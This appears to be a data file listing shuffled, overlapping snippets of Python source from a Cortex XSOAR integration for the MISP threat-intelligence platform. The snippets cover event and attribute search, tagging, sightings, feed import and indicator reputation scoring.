'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only':\",\n \"MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in\",\n \"[ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj\",\n \"value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \\\"\\\"\\\"Building url object in MISP scheme\",\n \"event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return\",\n \"context output format. \\\"\\\"\\\" response_object = copy.deepcopy(response) if include_correlations: # return full related\",\n \"limit has to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response):\",\n \"'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id':\",\n \"warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials')\",\n \"e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in ['__main__', '__builtin__', 'builtins']:\",\n \"'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict) ->\",\n \"= argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit', 50),\",\n \"url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args:\",\n \"this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\\\"id\\\")] = {\\\"Event Name\\\": event.get(\\\"info\\\"),\",\n \"new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return\",\n \"not att_id: raise DemistoException('ID or UUID not specified') sighting_args = { 'id': attribute_id,\",\n \"'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except\",\n \"suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids,\",\n \"= event_to_human_readable(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context) == limit: pagination_message\",\n \"type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e:\",\n \"if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url\",\n \"type: ignore from typing import Union, List, Dict from urllib.parse import urlparse import\",\n \"= ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = {\",\n \"if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return\",\n \"0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else\",\n \"headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for index, uri in\",\n \"demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen')\",\n \"with the given id: {event_id} was not found in MISP. please check it\",\n \"in attributes_list: attribute.pop(\\\"RelatedAttribute\\\") # get rid of this useless list event = attribute.get('Event')\",\n \"limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids\",\n \"list to include only the ID and Name fields. In addition, returns set\",\n \"them to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format must be\",\n \"args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for\",\n \"zero or a positive number\\\") if limit and limit < 0: raise DemistoException(\\\"limit\",\n \"attribute_response_to_markdown_table(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context) == limit: pagination_message +=\",\n \"limit) and by sub-functions calculated the score of the indicator. For the context\",\n \"response of event search returned from MISP to the context output format. please\",\n \"in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None)\",\n \"raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable\",\n \"command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as e:\",\n \"attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't\",\n \"configured to be malicious is stronger than recognised as suspicious). \\\"\\\"\\\" common_ids =\",\n \"so no events should be found. Returns: list includes all the events that\",\n \"for the given attribute value in MISP and then calculates it's dbot score.\",\n \"args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller\",\n \"new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\\\"## MISP create event\\\\nNew event with\",\n \"'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag\",\n \"'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc':\",\n \"not valid\\\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \\\"\\\"\\\" This function searches\",\n \"events that include the indicator Please see an example for a response in\",\n \"elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command ==\",\n \"is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg:\",\n \"name as described in https://github.com/MISP/misp-objects args: arguments to create the generic object Returns:\",\n \"that include the indicator Please see an example for a response in test_data/reputation_command_response.json\",\n \"event_id else arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\") attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution')\",\n \"Returns: CommandResults includes all the indicator results. \\\"\\\"\\\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value,\",\n \"replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\": event_id}) human_readable = f'Object has been added to MISP event ID\",\n \"misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events #\",\n \"in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return\",\n \"dict): attribute_highlights = [] for attribute in response: event = attribute.get('Event', {}) attribute_tags\",\n \"demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError:\",\n \"= attribute_response_to_markdown_table(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context) == limit: pagination_message\",\n \"pagination_message += f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-events returned {len(response_for_context)} events.\\\\n\",\n \"sure your MISP server url is correct.') if \\\"Please make sure the API\",\n \"'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL',\",\n \"return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \\\"\\\"\\\" Gets a timestamp from\",\n \"of the event scope). If the data is attribute's (is_event_level = false), and\",\n \"analysis_arg event.info = args.get('info') if args.get('info') else 'Event from XSOAR' event.date = datetime.today()\",\n \"level id) about all the events that include the indicator Please see an\",\n \"format must be MISP. \\\"\\\"\\\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url\",\n \"MISP attribute \\\"\\\"\\\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] #\",\n \"0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1,\",\n \"that it is an attribute's tag. If the data is event's (is_event_level =\",\n \"(str): Name of the event \\\"\\\"\\\" related_events = [] object_tags_list = object_data_dict.get('Tag', [])\",\n \"tags which configured as malicious will be scored 3 (i.e malicious). * have\",\n \"PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is\",\n \"[ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object\",\n \"Class in Pymisp. Args: args: dictionary describes MISP object Returns: list: list containing\",\n \"please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP object Returns:\",\n \"'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [\",\n \"'errors' in response: raise DemistoException(f'Event ID: {event_id} has not found in MISP: \\\\nError\",\n \"\\\"Related Attribute\\\" list and limits the tags and galaxies lists. Eventually, the outputs\",\n \"match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def\",\n \"for all the events that have the tag (i.e found_tag) which caused the\",\n \"CommandResults includes all the indicator results. \\\"\\\"\\\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes',\",\n \"'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation',\",\n \"== 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==\",\n \"domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name')\",\n \"human_readable = f'Sighting \\\\'{sighting_type}\\\\' has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable)\",\n \"with warnings \\\"\\\"\\\" pass # Disable requests warnings urllib3.disable_warnings() # Disable python warnings\",\n \"PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md =\",\n \"controller='attributes') human_readable = f'Tag {tag} has been successfully removed from the attribute {uuid}'\",\n \"it says that it is an event's tag. Otherwise (if it is set\",\n \"argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability):\",\n \"\\\"EMAIL\\\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \\\"URL\\\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query:\",\n \"demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type\",\n \"use the command search-attributes in order to get the information about the attributes.\",\n \"'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen',\",\n \"field doesn't exist when this is an attribute level, default is '0' tag_id\",\n \"Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this function was called from\",\n \"{ 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in\",\n \"(int) : Limits the number of attributes that will be written to the\",\n \"def add_object(event_id: str, obj: MISPObject): \\\"\\\"\\\"Sending object to MISP and returning outputs Args:\",\n \"amount, we sort the attributes list by the event ids as the greater\",\n \"md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return\",\n \"and will be stayed only in the malicious one (as a tag that\",\n \"the Trust any certificate option.') if \\\"NewConnectionError\\\" in error: return_error('Unable to connect to\",\n \"PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl:\",\n \"found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score':\",\n \"operators the original input will be returned Returns: str: dictionary created for misp\",\n \"attribute_uuid if not att_id: raise DemistoException('ID or UUID not specified') sighting_args = {\",\n \"Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID':\",\n \"described https://www.misp-project.org/objects.html#_url \\\"\\\"\\\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id')\",\n \"str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes]\",\n \"demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting\",\n \"it to tag_set_ids. In any other case, we won't add the tag. Args:\",\n \"readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable\",\n \"event in MISP with the given attribute args\\\"\\\"\\\" new_event = get_new_misp_event_object(demisto_args) new_event =\",\n \"args = json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template,\",\n \"useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\\\"id\\\")] = {\\\"Event Name\\\": event.get(\\\"info\\\"), \\\"Threat\",\n \"(set): Tag ids should be recognised as suspicious reliability (DBotScoreReliability): integration reliability score.\",\n \"added to event id {new_event.id}.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event )\",\n \"def handle_connection_errors(error): if \\\"SSLError\\\" in error: return_error('Unable to connect to MISP because of\",\n \"data is attribute's (is_event_level = false), and the tag is only related to\",\n \"parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" After getting all the attributes which match the\",\n \"format MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise\",\n \"misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref\",\n \"include_correlations=False) -> dict: \\\"\\\"\\\" Convert the response of attribute search returned from MISP\",\n \"from url and publishing them to MISP urls with feeds for example: https://www.misp-project.org/feeds/\",\n \"return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if\",\n \"command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e:\",\n \"'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive':\",\n \"the required tag was failed. Please make sure the UUID and tag exist.\\\")\",\n \"as e: raise DemistoException(f'URL [{url}] is not a valid MISP feed. error: {e}')\",\n \"failed. Please make sure the UUID exists.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes')\",\n \"MISP search attribute request found_tag (str): The tag that was scored as malicious\",\n \"an attribute level, default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else:\",\n \"= response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value\",\n \"obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \\\"\\\"\\\"Building url object in MISP\",\n \"elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif\",\n \"events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found\",\n \"connect to MISP because of a NewConnectionError, ' 'Please make sure your MISP\",\n \"search-attributes returned {number_of_results} attributes\\\", response_for_context[:number_of_results], [\\\"Value\\\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights =\",\n \"'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event\",\n \"see an example for a response in test_data/reputation_command_response.json Please see an example for\",\n \"outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id')\",\n \"indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\\\"No attributes found in MISP for\",\n \"if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\\\"1\\\", \\\"2\\\", \\\"3\\\"]\",\n \"'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag':\",\n \"'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\\\"MISP V3 error:\",\n \"if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given url: {value} is not valid\\\")\",\n \"given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star\",\n \"\\\"\\\"\\\"Execute a MISP search over 'attributes'\\\"\\\"\\\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False))\",\n \"{event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function\",\n \"params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B\",\n \"to create the generic object Returns: GenericObjectGenerator: object created in MISP Example: args\",\n \"{'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \\\"\\\"\\\" return [{k: v} for\",\n \"only if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str):\",\n \"else: pagination_message += f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-events returned {len(response_for_context)}\",\n \"given UUID of event or attribute. is_attribute (bool): if the given UUID belongs\",\n \"from MISP's format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list,\",\n \"set of the found tag ids. Some tags have a field called inherited.\",\n \"by the tags ids (attribute tags and event tags). Args: value (str): The\",\n \"in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\"\",\n \"add_object(event_id: str, obj: MISPObject): \\\"\\\"\\\"Sending object to MISP and returning outputs Args: obj:\",\n \"= category if value: attribute_instance.value = value if comment: attribute_instance.comment = comment if\",\n \"in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute\",\n \"given attribute args\\\"\\\"\\\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict)\",\n \"[ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score',\",\n \"args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else\",\n \"'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0 if\",\n \"str]: \\\"\\\"\\\" Replacing keys from MISP's format to Demisto's (as appear in ENTITIESDICT)\",\n \"try to use the Trust any certificate option.') if \\\"NewConnectionError\\\" in error: return_error('Unable\",\n \"are correct\\\" in error: return_error('Unable to connect to MISP, ' 'Please make sure\",\n \"new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\\\"## MISP create\",\n \"same tag appears in both Malicious tag ids and Suspicious tag ids lists\",\n \"raise DemistoException('Invalid hash length, enter file hash of format MD5, SHA-1 or SHA-256')\",\n \"dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\\\"## MISP update attribute\\\\nAttribute: {attribute_uuid} was\",\n \"} for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [\",\n \"4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID',\",\n \"def extract_error(error: list) -> List[dict]: \\\"\\\"\\\" Extracting errors raised by PYMISP into readable\",\n \"scored as malicious or suspicious. event_name (str): Name of the event \\\"\\\"\\\" related_events\",\n \"in MISP for the given filters: {args}\\\") def delete_event(demisto_args: dict): \\\"\\\"\\\" Gets an\",\n \"MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'},\",\n \"parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params\",\n \"Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the\",\n \"score found_tag: the tag (id) which made the indicator to get that score\",\n \"sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list:\",\n \"MISP and then calculates it's dbot score. The score is calculated by the\",\n \"UUID of event or attribute. is_attribute (bool): if the given UUID belongs to\",\n \"suspicious). * don't have any tags configured as suspicious nor malicious will be\",\n \"in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings'\",\n \"return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command\",\n \"list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError\",\n \"if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if\",\n \"if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] =\",\n \"a positive number\\\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response:\",\n \"to MISP event_id: ID of event \\\"\\\"\\\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors'\",\n \"= [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID':\",\n \"= demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id}\",\n \"readable format \\\"\\\"\\\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \\\"\\\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list,\",\n \"# there is no need in returning related event when searching for an\",\n \"error: {e}') def add_object(event_id: str, obj: MISPObject): \\\"\\\"\\\"Sending object to MISP and returning\",\n \"int = None, internal: bool = False, demisto_args: dict = {}, new_event: MISPEvent\",\n \"tags list. found_tag (str): The tag that was scored as malicious or suspicious.\",\n \"are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return {\",\n \"if page and page < 0: raise DemistoException(\\\"page should be zero or a\",\n \"get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \\\"\\\"\\\" This function searches for the given\",\n \"in MISP for value: {value}\\\") def get_events_related_to_scored_tag(all_attributes, found_tag): \\\"\\\"\\\" This function searches for\",\n \"the score of the indicator. For the context data outputs, for every attribute\",\n \"def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i] not in\",\n \": Limits the number of attributes that will be written to the context\",\n \"from Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if\",\n \"to be a positive integer, please change the given: '{tag}' id.\\\") except ValueError:\",\n \"return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets a list ot tag ids (each one\",\n \"typing import Union, List, Dict from urllib.parse import urlparse import urllib3 from pymisp\",\n \"event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict)\",\n \"def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \\\"\\\"\\\" Convert the response of event search\",\n \"and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable =\",\n \"= {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2),\",\n \"def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response\",\n \"responses from error section Returns: List[Dict[str, any]]: filtered response \\\"\\\"\\\" return [{ 'code':\",\n \"a valid key in the integration configuration.') MISP_URL = params.get('url') VERIFY = not\",\n \"attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')]\",\n \"add the tag except PyMISPError: raise DemistoException(\\\"Adding the required tag was failed. Please\",\n \"malicious will be scored 3 (i.e malicious). * have tags which configured as\",\n \"for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return\",\n \"tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type')\",\n \"0: raise DemistoException(\\\"limit should be zero or a positive number\\\") def attribute_response_to_markdown_table(response: dict):\",\n \"is attribute or event, depends on the called function\\\"\\\"\\\" if given_object.get('Galaxy'): given_object['Galaxy'] =\",\n \"written to the context Returns: CommandResults includes all the indicator results. \\\"\\\"\\\" reputation_value_validation(value,\",\n \"to perform complex query or if no complex query found returns the original\",\n \"use the Trust any certificate option.') if \\\"NewConnectionError\\\" in error: return_error('Unable to connect\",\n \"' 'Please make sure your MISP server url is correct.') if \\\"Please make\",\n \"star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'):\",\n \"Args: obj_to_build (Union[dict, list, str]): object to replace keys in Returns: Union[dict, list,\",\n \"1 if demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] =\",\n \"event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if\",\n \"for tag in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name =\",\n \"details. \\\"\\\"\\\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg:\",\n \"CommandResults: \\\"\\\"\\\" Execute a MISP search using the 'event' controller. \\\"\\\"\\\" args =\",\n \"found tag ids. Some tags have a field called inherited. When it is\",\n \"in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in\",\n \"set and will be stayed only in the malicious one (as a tag\",\n \"return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for\",\n \"error was occurred: {response.get('message')}\\\") elif response.get('Sighting'): human_readable = f'Sighting \\\\'{sighting_type}\\\\' has been successfully\",\n \"args_names if demisto_args.get(arg)] def 